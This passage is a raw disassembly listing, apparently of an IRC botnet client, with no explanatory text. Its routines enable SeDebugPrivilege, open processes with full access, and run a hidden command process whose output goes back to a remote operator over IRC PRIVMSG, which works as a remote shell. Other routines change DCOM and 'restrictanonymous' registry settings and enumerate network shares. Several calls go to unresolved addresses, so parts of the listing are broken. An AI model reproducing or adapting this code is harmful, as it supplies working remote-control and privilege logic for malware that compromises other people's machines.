		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CAF78
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CAE88
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_4396C0


loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	near ptr 27F1213h
		nop
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439720
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		call	near ptr 26E0AA6h
		nop
		test	eax, eax
		jnz	loc_41988F


loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4CAF94
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CAE34
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------


loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]


loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]


loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------


loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2


loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CAE88
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx


loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi


loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx


loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax


loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 26E0AA6h
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------


loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_4398C0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_43989C
		jmp	short loc_419977
; ---------------------------------------------------------------------------


loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_439878


loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26C0000h
		nop
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 266079Ah
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		nop
		call	near ptr 26E0AA6h
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2640871h


loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 4396BCh, 6B27E890h, 0E3EB0224h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4DB1F8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi


loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4DB200
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi


loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4DB1F4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi


loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB1FC
		nop
		call	near ptr 26D0000h
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D128
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		nop
		call	near ptr 2660545h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------


loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20


loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB204


loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB1F8
		nop
		call	near ptr 27F1BC8h
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB1F4
		nop
		call	near ptr 27F16EFh
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19


loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		nop
		call	near ptr 2660545h
		jmp	short loc_419B27
; ---------------------------------------------------------------------------


loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1


loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91


loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi


loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB1F8
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------


loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------


loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_439948
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		nop
		call	near ptr 26C0000h


loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_439920
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26C0000h


loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_4398F0
		push	ebx
		push	dword_4DB238
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26C0000h
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_43350C
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB1FC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D128
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2640AE7h
		test	eax, eax
		jnz	short loc_419D66


loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------


loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB1F8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB200, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB1F4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB238, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------


loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx


loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4DB204
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_4399AC
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43DEB8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		nop
		call	near ptr 266057Dh
		cmp	eax, esi
		mov	dword_43DEC4[edi], eax
		jnz	short loc_419E12
		call	near ptr 2660D84h
		nop
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_439978
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax


loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------


loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D


loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26C0000h
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB044, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_438724
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_439C48
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------


loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_439C28


loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419F17
; ---------------------------------------------------------------------------


loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_439BF8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_439BA8
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------


loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_439B74


loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------


loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_439B38
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------


loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_439B08


loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CAEB8
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_4399D0


loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_439AE4
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_439AB8


loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_4399F0
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------


loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C


loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_439A94
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------


loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_439A68


loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi


loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4CB004


loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_439A40
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------


loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_439A10
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB044, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_438768
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_439DC0
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------


loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_439DA4


loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------


loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_439BF8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
